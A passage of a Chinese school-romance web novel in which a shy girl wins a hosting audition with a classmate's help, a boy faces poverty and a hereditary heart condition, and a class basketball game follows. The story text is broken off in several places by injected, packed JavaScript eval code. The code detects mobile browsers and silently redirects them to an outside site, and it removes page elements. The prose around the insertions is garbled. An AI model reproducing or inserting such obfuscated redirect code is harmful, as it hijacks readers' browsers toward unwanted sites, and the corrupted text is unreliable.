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她忌惮地扫了一眼旁边的宋远，才用不大不小、刚好能让周围人听见的音量，带着一种施舍般的口吻说：“喂，夏霜迟，主持终选的衣服。我和另外两个的礼服，我统一在学校旁边那家店租好了，到时候我拿回来，省得你们麻烦。” 她顿了顿，嘴角勾起一丝不易察觉的讥诮，“你们就等着穿吧。” 说完，像怕沾染什么似的，快步走回自己座位。 周五下午最后一节课是终选。 前一节的陶艺课让夏霜迟手上沾满了泥浆。她匆匆赶回教室，想抓紧时间去洗手间好好清理一番，以最好的状态去面试。 一进门，她的脚步瞬间钉在原地。 只见叶琳和另一个入选女生的课桌上，各自平整地摆放着一条精心装好的礼服裙。 一条是闪亮的银灰色，一条是柔和的香槟色。 而她的桌子上——空空如也。 心脏猛得漏了一拍。 夏霜迟猛地看向叶琳，声音带着自己都没察觉的颤抖：“叶琳，我的……礼服呢？” 叶琳正对着小镜子整理头发，闻言慢悠悠地转过身，脸上浮起一层夸张的、混合着惊讶和懊恼的表情。 “哎呀！” 她拍了下额头，声音拔高了几分，引来周围同学的目光，“你看我这记性！是订了三件没错！但你的那件……” 她拖长了调子，眼神里闪过一丝恶意的快意，“老板娘说，你要的那个款式，最后一件被别的学校临时高价订走了！不过还有别的样式的，我还没来得及问你要不要呢。哎呀，怪我怪我，忙着准备终选，把这事给忘了告诉你了！这可怎么办呀？” 她摊开手，表情无辜又无奈。 “忘……了？” 夏霜迟的声音瞬间卡在喉咙里。 她看着叶琳那张写满虚假歉意的脸，只觉得一股冰冷的寒意从脚底瞬间窜遍全身，血液仿佛在倒流，耳边嗡嗡作响。 四周同学的目光像聚光灯一样打在她身上，带着好奇、同情，或许还有一丝看戏的意味。 她所有的努力，那些深夜对着镜子反复的练习，那些克服恐惧递出的申请表，那些因为入选而生出的、微弱却真实的希冀…… 在这一刻，被叶琳轻飘飘的一句“忘了”，碾得粉碎。 愤怒像岩浆一般，灼烧着她的五脏六腑，却找不到出口喷发。 无助和委屈瞬间淹没了她，让她几乎窒息，冲垮了所有强装的镇定。 她张着嘴，却发不出任何声音，只觉得眼前阵阵发黑，世界天旋地转。紧握的拳头里，指甲深深陷进掌心，带来尖锐的疼痛，却远不及心头那被要被生生撕裂的绝望。 那束刚刚向她投来一丝微光的大门，在眼前轰然关闭。 剩下的，只有冰冷的黑暗和四面八方无声的嘲笑。 8. 选拔 夏霜迟指尖冰冷，血液仿佛凝固在血管里，她怔愣在原地，喉咙像是被什么堵住，一个字也吐不出来。 宋远霍然站起身，高大的身影带着迫人的压力径直走向叶琳。 他停在叶琳面前，眼底沉得像那化不开的浓墨，声音冷得可怕：“那家店在哪？” 叶琳被他眼底的威压慑得下意识后退一步，撞在桌角，磕磕绊绊地说：“在……在天桥，天桥下面。” 天桥下面……不远，但此刻却像隔着天堑。离下节课上课只剩十分钟，怎么想……都是徒劳。 绝望瞬间包裹了她。 “算了吧。” 夏霜迟的声音轻得像叹息，带着认命的无力感垂下眼眸。 那点刚刚被宋远强硬拉拽出来的微末勇气，在冰冷的现实面前迅速溃散。 “你先去一楼大厅，我去帮你拿。” 宋远的声音斩钉截铁，带着一种不容置疑的温度，瞬间劈开了她的茫然。 话音未落，手腕已被他温热干燥的手掌握住，一股不容抗拒的力量将她带离了教室。 那抹温度烙在皮肤上，灼得她心头一颤。来不及细想，夏霜迟几乎是本能地向着楼下狂奔，心脏在胸腔里擂鼓般撞击着。 他能赶回来吗？天桥下的店铺会不会刁难？他会不会…… 纷乱的担忧只闪过一瞬，就被更强烈的祈祷淹没。 终选的教室宽敞明亮，五六盏不同颜色的射灯在前方汇聚成一片炫目的光海。 为首的刘老师推了推鼻梁上的眼镜，目光扫过台下略显紧张的几个女孩，微微蹙眉，低声问旁边的助手：“怎么回事，还差一个。” 助手连忙翻看名单：“是高二（三）班的夏霜迟，还没到。” “时间不等人，”刘老师有些不耐烦地摆摆手，“先开始吧，按顺序来。” 大厅门外，空寂无人。 叶琳得意地朝旁边女生挤了挤眼，嘴角勾起毫不掩饰的嚣张和挑衅。 几个女生交换着眼神，无声的讥诮在空气中弥漫：看吧，夏霜迟果然来不了。 十几分钟后，几个女孩的展示结束，刘老师脸上并无太多波澜。 助手小心地凑近，“刘老师，这几个条件都差不多，要不……选一个？” 刘老师缓缓摇头，镜片后的目光带着挑剔，“形象都还行，但缺了点什么……不够贴合主题。” 她需要一种更内敛、更沉静的气质。 叶琳见状，立刻举手，声音带着刻意的热情和催促，“刘老师，主持人也不能只看外表，能力也很重要！我是我们班的文艺委员，平时组织活动经验丰富，对这些流程……” “咳咳。” 刘老师直接打断了她公式化的自荐，目光在剩下几人身上逡巡，略显疲惫地开口：“要不然就……” 叶琳脸上瞬间迸发出狂喜，那句“谢谢老师”几乎要脱口而出。 “等等——！” 一个急促而清晰的声音，像一颗石子投入平静的湖面，骤然打破了汇报厅的沉闷。 所有人惊愕地循声望去。 虚掩的汇报厅大门被用力推开。 夏霜迟出现在门口，微微喘着气。 她身上那件浅蓝色礼服，款式简洁，甚至有些低调，没有繁复的装饰，只在腰间缀着几道不易察觉的银线。 然而正是这份低调，恰到好处地勾勒出她纤细的身形和那份独有的沉静气质。 她显然没来得及仔细整理，发髻有些松散，几缕碎发被汗水贴在白皙的颈侧和耳边，反而增添了几分易碎的精致感，像一株在慌乱中依然努力挺立的蓝色鸢尾花。 额角细密的汗珠映着灯光，泄露了她方才的狼狈，但她竭力挺直脊背，一步步走向刘老师。 叶琳脸上的狂喜瞬间冻结，扭曲成难以置信的愤恨。 她死死盯着门口，果然瞥见一个高大身影一闪而过，心底的怒意几乎要喷涌而出：贱人！果然有手段！ “老师，对不起，”夏霜迟在刘老师面前站定，微微鞠躬，气息尚未完全平复，“我……我在后台多练习了几遍，没注意时间……” 她放在腰侧的手指无意识地摸着光滑的礼服布料，指尖此刻有些冰凉，她努力压制着狂乱的心跳。 赶上了吗？还有机会吗？ 宋远那句“逢山开路，遇水架桥”的叮嘱在脑中回响。 她不能辜负他淋雨奔跑换来的机会。 刘老师锐利的目光在她身上停留片刻，那份狼狈中的镇定和礼服衬托出的独特气质让她眼中闪过一丝不易察觉的亮光。 “行了，”她声音依旧平淡，却多了一丝探究，“上去走两圈，说几句话。” “好。”夏霜迟深吸一口气，强迫自己忽略叶琳那几乎要将她洞穿的目光，忽略台下其他同学好奇或审视的眼神，稳稳地走向那片汇聚的灯光之下。 刹那间，所有的彩色光束温柔地笼罩在她身上。 蓝色礼服上那些细碎的银线，在强光下闪烁着微光。 她站定，目视前方。 无数次深夜独自对着镜子练习的成果在这一刻显现。 她的声音透过话筒传出，温婉清越，带着一种奇异的安抚力量，如同山涧清泉缓缓流淌过心间，坚定又柔和地诉说着开场词。 每一个停顿，每一个重音，都拿捏得恰到好处。 “谢谢老师。” 念完最后一个字，她再次深深鞠躬，提起裙摆，步伐沉稳地走下台，谦和地站回刘老师身旁，微微垂着眼帘，仿佛刚才聚光灯下的片刻璀璨只是错觉。 夏霜迟能清晰感受到叶琳那两道恶毒的目光钉在自己身上。 她心底的凉意更深了。 “刘老师，她这样……也就一般吧？”叶琳的声音带着刻意的挑剔和不满，尖锐地响起，“而且，她迟到了这么久，这态度问题也太严重了！对其他同学不公平！” 她特意加重了“态度”和“公平”两个词。 夏霜迟的心猛地一沉。 熟悉的自我怀疑再次袭来—— 是啊，她迟到了。 叶琳说的没错。 她真的……可以吗？是不是像以前无数次那样，沉默、退让才是她该有的结局？ 可是……宋远在雨中的奔跑，那件承载着希望的蓝色礼服…… 它们沉甸甸地压在她的心头。 她不能输。 至少，不能输得这么轻易。 “老师。”夏霜迟抬起头，声音不大，却异常清晰，带着一种破釜沉舟的勇气。 她必须为自己争取一次。 刘老师看着她，“说。” “我们今年文化庙会的主题是‘精雕细琢，传承匠心’，”夏霜迟的声音微微发颤，但努力保持着平稳，“它的内核在于谦卑、刻苦和传承。这不同于往年‘潮起东方，非燃即燃’所追求的耀眼与张扬，对主持人的气质要求也更侧重内敛和沉静。” 她顿了顿，目光坦诚地迎向刘老师，“我承认我的迟到是严重的失误，我也为此感到非常抱歉。但在准备过程中，我一直抱着对‘匠心’的敬畏之心反复练习，希望能传递出主题应有的精神。恳请老师……再给我一次证明的机会。” 说完，她再次微微欠身，长睫低垂，掩住了眼底翻涌的紧张与恳求，只有放在身侧微微颤抖的手泄露了内心的波澜。 会议室内一片寂静。 刘老师镜片后的目光锐利地审视着她，片刻，那紧绷的嘴角竟微微松动，一丝微不可察的满意掠过眼底。 这个女孩不仅点破了主题内核，更难得的是，她站在台上的那份沉静和此刻谦卑的姿态，完美契合了她心中对“匠心”主持人的想象——不张扬，却自有力量。 “就你了。” 刘老师的声音干脆利落，带着不容置疑的权威。 “老师！” 闻言，叶琳脱口而出，脸瞬间涨得通红，精心维持的形象瞬间要崩塌殆尽。 刘老师只冷淡地瞥了她一眼，目光重新落在夏霜迟身上，带着点尘埃落定的意味，“好了，除了她，剩下四个负责最后颁奖环节的礼仪。具体排练时间另行通知。散会。” 夏霜迟站在原地，仿佛被那三个字钉住了。巨大的喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那双总是蒙着一层水雾般的眼眸此刻亮得惊人，里面压抑不住的欢欣像细碎的星光在跳跃。他紧绷的下颌线终于不易察觉地松弛了一分。 “嗯，我过了。”夏霜迟看向宋远，唇角抑制不住地向上弯起，声音里带着一种自己都未曾察觉的、甜软的雀跃。 “哇哦！恭喜恭喜！太棒了！” 何潇夸张地拍着手，朝夏霜迟竖了个大大的拇指，“我就知道小迟你肯定行！那啥，哥任务完成，先溜了！” 他背上书包，刚走出两步，又想起什么似的退回来，指了指窗外，“对了，外面雨下得可不小，小迟，记得带伞啊！” “啊……好，谢谢。” 夏霜迟忙不迭地点头，被巨大的喜悦充盈着，收拾书包的动作都轻快了几分。 收拾桌兜里的东西时，夏霜迟的目光不经意地扫过旁边——宋远桌兜里，安静地躺着一把折叠整齐的蓝色雨伞。 蓝色…… 和她刚刚身上那件礼服的颜色，如此相似。 看来，宋远真的很喜欢蓝色。 要不要……郑重地道一次谢呢？ 可是……该说什么呢？ 思绪像断了线的风筝，不由自主地飘向身边人轮廓分明的侧脸。 就在这时，宋远却忽然转过头。 深邃的目光毫无预兆地撞进她的眼底。 夏霜迟心脏猛地一跳，像是被细小的电流击中，慌乱地低下头，手指飞快地把书包拉链拉好，语速快得像要立马逃离，“我……我要走了！” “嗯。”宋远应了一声，声音依旧听不出情绪。 他看着夏霜迟有些无措地用手指反复拨弄着书包上一个小小的拉链头，忽然又开口，声音低沉平静，“我没带伞。” 夏霜迟脑子还没转过来，几乎是本能地顺着他的话接道：“哦，哦，我带了，那……” 话一出口，她才猛地意识到自己说了什么！ 天哪！她竟然……竟然邀请他一起走？ 夏霜迟的脸“腾”地一下烧得通红，背上书包飞快站起来，眼神慌乱地飘向窗外灰蒙蒙的天空、被雨水冲刷的树叶、湿漉漉的地面……就是不敢再落回宋远身上。 “什么？”宋远追问，声音里似乎带着一丝极淡的、难以捕捉的……促狭？ “一起……一起走吧！” 夏霜迟几乎是脱口而出，声音带着破罐子破摔的窘迫。 说完恨不能咬掉自己的舌头！ 9. 病症 “谢谢。” 宋远也站起身，单肩利落地背上书包，站在她身边。他的靠近带来一股熟悉的、带着淡淡青柠味的气息，混合着干净的皂角香。 他看着她几乎要埋进胸口的脑袋，提醒道：“走吧。” 夏霜迟此刻只觉得脸颊烫得能煎鸡蛋，耳根更是红得滴血。 宋远他……他明明有伞！就在桌兜里！那把蓝色的伞！ 偏偏自己刚才慌乱之下，竟然……竟然说出那么愚蠢的话！ 简直……简直丢死人了！ 两人一前一后走出教室。雨幕笼罩下的校园一片喧嚣混乱：五颜六色的伞花在移动，有人把校服顶在头上狂奔，还有的直接拿课本遮雨狼狈逃窜。 一场秋雨一场寒，路旁枫树的叶子被雨水洗刷得更加红艳，像一簇簇燃烧的火焰。 宋远身姿挺拔，沉默地站在她身边，像一棵沉默的树。 那抹清冽的青柠气息再次萦绕过来，混合着雨水打湿泥土和青草的味道，在潮湿的空气里氤氲开。 “撑伞。”宋远的声音打破沉默。 “哦，好。”夏霜迟手忙脚乱地从书包侧袋抽出那把粉色的HelloKitty折叠伞， “咔哒”一声按开。 硕大的凯特猫头像瞬间在两人头顶绽放，粉嫩的颜色在灰暗的雨天里显得格外突兀。 她握着伞柄，手指收紧，指节微微泛白。 这把幼稚的伞……他会不会觉得可笑？会不会更印证了她的不合时宜？ 宋远的目光落在那个大大的卡通猫头上，嘴角似乎……极其轻微地向上牵动了一下，快得像是错觉。 夏霜迟捕捉到了那一闪而逝的弧度，瞬间屏住了呼吸，心脏像是被什么东西轻轻撞了一下。 她从未……从未见宋远这样过。 那点笑意像投入心湖的石子，漾开一圈圈涟漪。 宋远极其自然地伸出手，骨节分明的手指包裹住她握着伞柄的手上方，将伞接了过去。 “我来吧。” 他的声音依旧平淡，却带着一种不容拒绝的沉稳。 粉色的伞面稳稳地在两人头顶撑开一方小小的、带着卡通图案的天地，隔绝了外面纷乱的雨声和人影。 伞确实不大，夏霜迟能清晰地感觉到他手臂外侧偶尔擦过自己校服袖子的布料，带着温热的体温和一种陌生的存在感。 她下意识地往里缩了缩肩膀，试图拉开那令人心悸的、若有似无的距离，却又怕动作太大显得刻意。 密集的雨点噼里啪啦地敲打在伞面上，像无数小鼓槌在头顶跳跃，奏响一首节奏混乱却又莫名安心的乐章。 清冽的青柠混合着湿润青草的气息，丝丝缕缕，固执地钻入她的鼻尖。 那清爽中带着一丝微不可查涩意的味道，此刻竟成了这狭小空间里唯一的暖源，奇异地安慰着她因慌乱和羞窘而紧绷的神经。 她微微低着头，目光只能触及他握着伞柄的、骨节分明的手，还有一小截线条利落的下颌。 那把与他冷峻气质格格不入的粉色小伞，被他稳稳地举着，竟意外地……让她感到一种笨拙的安稳。 宋远似乎微微调整了一下伞的角度，让更多的伞面倾向她这边。几滴冰凉的雨丝趁机钻了进来，悄无声息地落在他自己宽阔的肩头，在校服布料上迅速洇开一小片深色的湿痕。 夏霜迟看见了。 那句“你被淋到了”几乎要冲口而出，却在喉咙里打了个转，最终只化作唇边一丝微弱的翕动和更深沉的沉默。 一种陌生的、带着微酸悸动的暖流，悄然漫过心口。 那把粉色的伞，成了灰蒙蒙雨幕里最突兀却也最温暖的一抹亮色，在喧嚣的放学人潮中，沉默地移动着。 空气仿佛凝固，只剩下伞面上单调的雨声敲打。 夏霜迟深深低下头，脸颊烫得惊人，“那个……今天，谢谢你。” 声音细若蚊蚋。 她此刻心乱如麻，甚至不知该如何面对身边这个人。 明明前两天还在冰冷的沉默中对峙，今天却挤在同一把幼稚的伞下。 之前的指责……是不是太过分了？ 宋远沉默了一两秒，喉结滚动，声音低沉而清晰地砸在潮湿的空气里，“对不起。” 为他的自以为是，为他的粗暴干涉，为所有因他而起的伤害。 对不起…… 这三个字像带着微弱的电流，瞬间贯穿夏霜迟。 她呼吸猛地一窒，指尖控制不住地轻颤。 两人之间的隔阂，似乎就在这潮湿阴郁的雨天里，被这简单的三个字无声地消融于无形。 “谢谢……” 她喃喃重复，手指死死揪住校服外套的袖口布料，仿佛那是唯一的支点。 伞面上的雨点“砰砰”作响，密集的鼓点此刻却奇异地成了令人心安的背景音。 “你……很喜欢青柠吗？” 夏霜迟忽然抬起头，鼓起勇气问出了心底盘旋已久的疑问。 宋远明显一怔，眉头微蹙，“没有。” “没有？” 夏霜迟愣住，这是她第一次在他面前如此直白地表达好奇，“可你身上……总有青柠的味道……” 为什么？ 青柠的味道。 宋远嘴角扯出一抹苦涩的弧度。 答案简单到令人难堪。 楼下超市打折促销的大桶装洗衣液，就是青柠味的。 青柠味？他不喜欢。 甚至深恶痛绝。 那廉价人造的香气，像一枚屈辱的烙印，时时刻刻提醒着他身上洗刷不掉的穷味。 “洗衣液。”他吐出三个字，声音干涩。 可夏霜迟这句无心之问，却瞬间捅开了他极力锁闭的现实。 他是一个被贫穷钉死在泥沼里的人，生命如同风中的残烛，随时可能熄灭在无人知晓的角落。 而她，夏霜迟，生活在截然不同的世界里，拥有他无法想象的优渥和安稳，未来铺满了阳光和鲜花。 他这样的人，连呼吸都带着腐朽，有什么资格站在她身边，沾染那片干净的光。 心脏漏掉一拍，他几乎窒息。宋远迅速敛去所有外露的情绪，重新戴回那副冷漠的面具，下颌线绷得如同刀锋。 将夏霜迟送到楼下，宋远垂眸，动作利落地收伞。 夏霜迟下意识地收回手，声音微弱，“你撑着走吧，雨还没停……” “不用。” 他眼都没抬，语气斩钉截铁。 甩掉伞骨上的水珠，他将那把粉色HelloKitty伞不容拒绝地塞回夏霜迟手里，同时向后退开两步，拉开了冰冷的距离，“一会儿去商店……打工。” 补充的话像是急于划清界限。 宋远下颌绷得死紧，转身，大步没入细密的雨帘，背影决绝而孤寂。 夏霜迟怔怔地站在冰冷的檐下，任由裹挟着寒意的秋风吹拂脸颊。 蒙蒙细雨织成一片灰幕，她沉默地望着那个迅速远去的、挺直却又显得无比沉重的背影。 这个人……真的很奇怪。 -- 雨声渐歇，时针悄然滑向十一点半。 宋远带着一身洗不掉的疲惫和微凉的湿气，推开老旧小区那扇吱呀作响的铁门。 楼前空地破败地圈着几垄蔫头耷脑的蔬菜，更多是肆意蔓延的野草，在昏黄路灯下投下杂乱的影子。 屋内一片死寂，只有他自己的呼吸声在空旷中回响。 冷锅冷灶，空气里弥漫着陈旧的尘埃味。 他沉默地给自己下了一碗挂面——六块钱一大袋那种。 冰箱里空空如也，只剩下孤零零几个鸡蛋。 他拿出一个，磕进翻滚的水里。 蛋液瞬间凝固成白色的云朵。 一切都冰冷、寂静。 唯有锅里升腾的白雾，在眼前氤氲、扩散，模糊了视线，也模糊了心绪。 他无法阻止自己去回想白天的一切。 夏霜迟那句“青柠的味道”，像根细针，反复刺穿着他试图麻木的神经。 “咚咚咚——！” 杂乱而急促的敲门声骤然响起，粗暴地撕裂了屋内的寂静。 宋远脸上没有任何波澜，像是早已预演的剧本。 他走到门边。 门外涌进一股凛冽的寒气，刮在脸上生疼。浓烈的酒气扑面而来，一个瘦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060708|179199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 削的女人踉跄着扑到他身上。 她身上几乎没什么肉，眉宇间刻满了深深的疲惫和憔悴，眼下的泪沟在昏暗光线下格外刺目。 宋远微不可察地皱了下眉，屏住呼吸，沉默地撑住她绵软的身体，半扶半抱地将她安置在客厅那张破旧的暗红色皮质沙发上。 沙发年代久远，表面的皮革早已开裂翻卷，露出里面泛黄发硬的棉絮。 “我去煮面。”宋远转身欲走。 一只冰凉的手猛地抓住他的手腕，力气大得惊人。 “宋听寒……”女人含糊不清地呓语，眼神涣散。 宋远身体一僵，用力却缓慢地抽回自己的手，眸色沉郁如化不开的浓墨，声音冷得像冰，“宋听寒早就死了。” “饿了！要吃饭！”女人像是没听见，兀自嚷嚷了一句，头一歪，靠在沙发背上打起了呼噜。 宋远站在狭窄的厨房里，沉默地又下了一碗面。 水汽再次蒸腾。 他记得，她不爱吃鸡蛋。于是从橱柜角落翻出一根廉价火腿肠，剥开，切成片放进去。 氤氲的雾气中，宋远的心像是被一只冰冷的手死死攥住，透不过气。 是啊，宋听寒…… 他名义上的父亲，在他五岁那年就彻底消失在这个世界上了。 可他的母亲，为什么就是不肯醒来？用酒精麻痹自己，在虚幻的旧梦里逃避现实，这日子…… 什么时候才是个头？ 眼底翻涌着浓得化不开的阴郁和无力。 他端着那碗热气腾腾的面，放在呼莉面前的茶几上。 茶几玻璃下压着几张褪色的老照片。他扶起呼莉，动作不算温柔地给她灌了几口醒酒汤。 看着她憔悴不堪的面容，深陷的泪沟，宋远几不可闻地叹了口气，声音里带着一丝连他自己都未曾察觉的疲惫和沙哑，“妈，吃饭。” 看着呼莉机械地、狼吞虎咽地吃完那碗面，又费劲地将她拖回卧室床上安顿好。宋远才拖着沉重的步伐回到客厅。 他跌坐在那张破旧的沙发里，凹陷的弹簧发出不堪重负的呻吟。 屋子里只剩下时钟单调的滴答声。 他的目光无意识地扫过沙发开裂的边缘，那里，露出一个白色纸角。 宋远的心猛地一沉。 他俯下身，小心翼翼地从沙发缝隙里抽出一张折叠起来的、边缘磨损的纸。 客厅昏暗的灯光下，他低垂着眼睫，指尖无意识地摩挲着那张薄薄的纸片，上面的每一个字都像冰冷的铅块，沉甸甸地压在心口，几乎让他无法呼吸。 遗传性心肌病。 宋听寒什么都没给他留下，除了这副注定早衰的躯壳，和这张冰冷的死亡预告书。 他不知道悬在头顶的铡刀何时落下，不知道生命会在哪一刻戛然而止。更不知道，这世上是否还会有人，在他消失后，为他掉一滴眼泪。 窗外，浓厚的乌云吞噬了最后一点星光，沉沉地压下来，如同他此刻看不到一丝光亮的心境。 -- 年关将近的气息，随着一场场猝不及防的寒流，悄然弥漫开来。还未进入十二月，气温便断崖式下跌，流感肆虐，教室里咳嗽声此起彼伏。 林翩月体质娇弱，脚伤未愈又赶上降温，一直在家休养。前排空荡荡的座位让夏霜迟心里空落落的，满是担忧。 但随着文化庙会日期的逼近，她只能压下心绪，在心里疯狂祈祷：千万、千万不要在这个节骨眼上感冒。 或许是上天听到了她虔诚的祷告，文化庙会当天竟是个难得的暖阳天。微风和煦，阳光温柔地洒在精心布置的校园里，活动举办得异常顺利圆满。 当晚，沉寂许久的校园表白墙瞬间被刷爆，热闹得像一锅煮沸的粥。 何潇他们班这次剑走偏锋，排演了一出反串童话剧。而何潇本人，正是那位“惊世骇俗”的白雪公主。 一米八几的个头套上华丽的公主裙，画上精致的妆容，竟意外地没有太多违和感，反而因着他俊朗的五官和玩世不恭的气质，呈现出一种奇特的、极具话题性的魅力。 夏霜迟趴在宿舍温暖的被窝里，乐不可支地翻看着手机屏幕。 【三中表白墙】 10. 比赛 【三中表白墙】 【momo】:紧急求助！！！今天庙会那个白雪公主是哪位神仙下凡！？求联系方式！我要表白！ 【大南瓜】:哈哈哈哈哈哈救命！一米八的白雪公主！王子压力山大啊！公主需要骑士团吗？ 【何所谓】:(狗头叼玫瑰.jpg)低调低调~是我们班的！单身！可撩！小姐姐们冲鸭！ 【叫我时光乌】:楼上那位何所谓同学，你马甲掉地上了啊喂！快捡捡吧！ 夏霜迟滑动着手机屏幕，没忍住“噗嗤”一声笑了出来。 【星星来给我点个灯】:今年主持的小姐姐是谁啊？气质绝了！声音也好好听！求名字求班级！ 【吃瓜老分队】:+1！蓝裙子那位！感觉好温柔好有故事感！ 夏霜迟指尖滑动，看着那些询问和夸赞自己的零星帖子，脸颊微微发热，心底一直悬着的那块大石头终于轻轻落了地。 原来……站在光下的感觉是这样。 原来，她也可以被这么多人看见，被肯定。 原来，她并没有自己想象中那么糟糕。 文化庙会的余温尚未散尽，期末的气息和年关的喜庆已交织在一起。跨年前夕，学校难得放了一天假，算是给紧绷的神经一丝喘息。 何潇望眼欲穿，终于把林翩月盼回了学校。清晨的教室，因她的回归，连空气都似乎活跃了几分。 “哟！我们的大小姐终于肯移驾回宫了？”何潇第一时间凑过去，笑容灿烂得晃眼，“在家休养得如何？是不是看到本帅哥这张帅脸，顿觉神清气爽，恨不得立刻下楼跑个八百米热热身？” 林翩月没好气地白了他一眼，动作利落地从书包里往外掏书本，“托您的福，还没好利索。不过看到某人精神这么好，看来演公主演得很上头嘛，没去演个树墩子真是屈才了。” “嘿！瞧不起谁呢？”何潇得意地扬起下巴，“哥这叫能文能武，上得了ABC，下得了五公里。现在是能男能女，全面发展！” “是挺全面，”林翩月翻开练习册，笔尖刷刷地开始写，头也不抬地补充，“听说微信都被加爆了？表白墙都成你的专场了？” 话一出口，林翩月自己都愣了一下。这语气……怎么听怎么不对劲。 何潇闻言也是一怔，随即咧开嘴，故意做出夸张的委屈表情，双手合十，“清汤大老爷啊，我是鸳鸯的！我可是清清白白的小男生一枚呢！” 见林翩月依旧埋头做题，没搭理他的意思，何潇用手肘轻轻碰了碰她的胳膊，压低声音带着点讨好的意味，“咳咳，说真的，下午班际篮球赛，来看呗？哥给你露一手，保管一个打三个！” 林翩月笔尖未停，撇了撇嘴，“你让我去，我就去啊？我什么时候那么听你话了？” 何潇立刻站直身体，清了清嗓子，换上一副毕恭毕敬的腔调，还煞有介事地做了个抱拳的动作，“是是是！大小姐息怒！小的何潇，下午将在篮球场为班级荣誉而战，不知大小姐是否有闲暇，拨冗莅临指导，给小的一点微不足道的鼓励？” 林翩月笔下不停，但握着笔的手指微微收紧，微不可察地，唇角向上弯起了一个小小的弧度。 下午最后一节课的班际篮球赛，高二二班迎战高二三班。 简单的赛前致意后，一声尖锐的哨响划破空气，点燃了球场的战火。看台上挤满了双方班级的学生，目光紧追着场上跃动的身影，每一次精彩的攻防都激起一阵阵欢呼的浪潮。 宋远和何潇都在场上。与何潇的跃跃欲试不同，宋远是被体育委员何潇本人半推半就拉上来的—— “宋远！你这身高体型，不打篮球可惜了！会一点吧？” “不太会。” “会一点就行！咱们班缺个人，你顶上了！” 夏霜迟紧挨着林翩月坐下，视线却不由自主地牢牢锁定在那个穿着三班球衣的高大身影上。 场上，何潇看准时机，轻盈跃起，在空中精准地截断了对方传出的球。他狡黠一笑，作势向左边的乌秒传球：“乌秒！接好！” “来了！”乌秒立刻呼应，果然吸引了对面的防守重心。 电光火石间，何潇手腕一抖，球却划出一道漂亮的弧线，直飞右侧无人盯防的宋远！ 这一手声东击西玩得漂亮，连乌秒都愣了一下。 宋远反应极快，后撤半步，稳稳将球揽入怀中。 “好球！”何潇大喝。 宋远抬眼，目光如电瞬间锁定了远处的篮筐。他脚下步伐灵活，几个变向便晃开了试图阻拦的对手，抓住转瞬即逝的空档，起跳、扬臂、拨腕—— 篮球在空中划出一道利落的抛物线。 “唰——！” 空心入网！ “三分！漂亮！”队友们兴奋地围上来。 球权仍在三班手中。何潇早已卡好位置，稳稳接住落下的篮球，转身就向三分线外冲去。 “没想到啊！这小子还深藏不露！”秦福激动地拍着大腿，比自己进球还兴奋。 “是啊……” 夏霜迟的目光追随着人群中那个格外醒目的身影，纯粹的黑发被汗水微微濡湿，贴在额角。 即使在激烈的对抗中，他周身那股冷冽沉静的气场依然存在，像喧嚣中的一座孤岛，反而更引人注目。 旁边坐着两个陌生女生，正兴奋地交头接耳：“哇！对面那个冷脸帅哥好绝啊！打球的样子太杀我了！” “哪个？我觉得两个都不错诶！” “就那个！没什么表情，眼神特别冷的！感觉好带感！” 夏霜迟的心跳猛地漏了一拍，一股莫名的酸涩瞬间涌上喉头，几乎要冲口而出的话被她死死咬住嘴唇咽了回去。 她下意识地攥紧了衣角。 宋远优秀，有人喜欢再正常不过…… 她反复在心里默念。 “我还是喜欢那个爱笑的！又痞又帅，球技也超棒！我的菜！”另一个女生接口道。 林翩月闻言，扭头冷冷地扫了那两个女生一眼，见她们正沉浸在讨论中，并未察觉。 她撇撇嘴，闷闷地揪着自己袖口，声音带着明显的不悦，“早知道不下来了，吵吵嚷嚷的，有什么好看。” 夏霜迟一时语塞，只能轻轻拍拍林翩月的手背：“翩月，没事的。” 然而她自己心底那份因宋远而起的、说不清道不明的烦躁，也并未平息。 “哔——！”终场哨声长鸣。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060709|179199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “三班胜！” 夏霜迟和林翩月激动地跳起来欢呼，“太棒了！” 比赛刚结束，看台上一个女生如同离弦之箭般冲了下去，手里紧紧攥着一个粉色信封和一瓶运动饮料。 场边。 何潇还穿着湿透的球衣，脸上洋溢着胜利的喜悦和一丝少年人的得意，几乎是跑着回到林翩月面前。 他用手背胡乱抹了把额头的汗珠，笑嘻嘻地凑近，“怎么样大小姐？哥今天帅不帅？表现还入您法眼不？” 宋远沉默地从他们身边走过。 夏霜迟见状，连忙拿起脚边一瓶未开封的水递过去：“宋远，给……老师之前让给运动员准备的，不够还有。” 她努力让自己的声音听起来自然。 宋远低低“嗯”了一声，顺势在旁边的台阶坐下。 他随意地抓了把汗湿的黑发，拧开瓶盖仰头就灌，喉结滚动，“咕嘟咕嘟”几口下去半瓶就没了。 “谢谢。”声音带着运动后的沙哑，也带着一如既往的、淡淡的疏离。 夏霜迟心头刚升起一丝暖意，就被旁边陡然拔高的声音打断。 “我跟他没关系，你要说什么你说吧。”林翩月的声音清晰、冷硬，带着一种刻意撇清的张扬。 夏霜迟走近几步，只见何潇被夹在中间，一脸焦头烂额。 林翩月抄着手，下巴微扬，眼神冰冷地看着对面那个女生，看她的衣着，似乎是刚才看台上说喜欢何潇的那位。 女生手里还捏着那瓶没送出去的饮料。 五分钟前。 